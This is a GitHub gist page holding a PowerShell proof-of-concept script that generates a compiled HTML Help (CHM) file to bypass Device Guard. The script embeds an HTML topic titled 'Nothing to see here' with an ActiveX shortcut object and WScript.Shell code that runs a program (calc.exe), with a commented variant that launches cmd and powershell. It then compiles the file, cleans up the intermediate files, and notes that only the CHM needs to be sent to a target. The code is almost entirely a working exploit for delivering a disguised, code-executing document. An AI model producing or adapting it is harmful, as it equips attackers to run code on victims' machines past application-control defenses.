Skip to content

Instantly share code, notes, and snippets.

@deadbits
Forked from MHaggis/GenerateCHM_1.0.ps1
Created August 24, 2022 17:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save deadbits/082257361f2c720a0fb3b65c6d2c2652 to your computer and use it in GitHub Desktop.
Save deadbits/082257361f2c720a0fb3b65c6d2c2652 to your computer and use it in GitHub Desktop.
# POC HH.exe - Device Guard bypass
# Oddvar Moe - https://msitpros.com
# Code execution with HH.exe / CHM files
# Code to generate CHM was borrowed from:
# https://raw.githubusercontent.com/samratashok/nishang/master/Client/Out-CHM.ps1
#https://gist.githubusercontent.com/api0cradle/95ae3c7120f16255d94088bd8959f4b2/raw/fa25b85e85bbb64c5cf021adf92b125357086a6f/GenerateCHM_1.0.ps1
$Outputpath = "C:\hhpoc"
#Create the table of contents for the CHM
$CHMTableOfContents = @"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft&reg; HTML Help Workshop 4.1">
<!-- Sitemap 1.0 -->
</HEAD><BODY>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Oddvar deserves the nobel price - Or at least a CVE :-)">
<param name="Local" value="doc.htm">
</OBJECT>
</UL>
</BODY>
</HTML>
"@
#Create the Project file for the CHM
$CHMProject = @"
[OPTIONS]
Contents file=$OutputPath\doc.hhc
[FILES]
$OutputPath\doc.htm
$OutputPath\doc1.htm
"@
#Create the HTM files, the first one controls the payload execution.
$CHMHTML1 = @"
<HTML>
<TITLE>Nothing to see here</TITLE>
<HEAD>
</HEAD>
<BODY>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value="273,1,1">
<!-- Can do like the next line to execute commands directly. Will probably be blocked by Device Guard -->
<!-- <PARAM name="Item1" value=",cmd.exe,/c powershell.exe"> -->
</OBJECT>
<SCRIPT>
alert("I bypassed something! - Hit OK to POP a Calc - Remember to answer yes on the next question");
var shell = new ActiveXObject("WScript.Shell");
shell.run('"calc.exe"');
x.Click();
</SCRIPT>
</content></div></div><hr /><p /></div></body></html>
</BODY>
</HTML>
"@
#Second help topic to make the file look authentic.
$CHMHTML2 = @"
<html> </html>
"@
#Write all files to disk for compilation
Out-File -InputObject $CHMTableOfContents -FilePath "$OutputPath\doc.hhc" -Encoding default
Out-File -InputObject $CHMHTML1 -FilePath "$OutputPath\doc.htm" -Encoding default
Out-File -InputObject $CHMHTML2 -FilePath "$OutputPath\doc1.htm" -Encoding default
Out-File -InputObject $CHMProject -FilePath "$OutputPath\doc.hhp" -Encoding default
#Compile the CHM, only this needs to be sent to a target.
$HHCPath = "C:\Program Files (x86)\HTML Help Workshop"
$HHC = "$HHCPath" + "\hhc.exe"
& "$HHC" "$OutputPath\doc.hhp"
#Cleanup
Remove-Item "$OutputPath\doc.hhc"
Remove-Item "$OutputPath\doc.htm"
Remove-Item "$OutputPath\doc1.htm"
Remove-Item "$OutputPath\doc.hhp"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment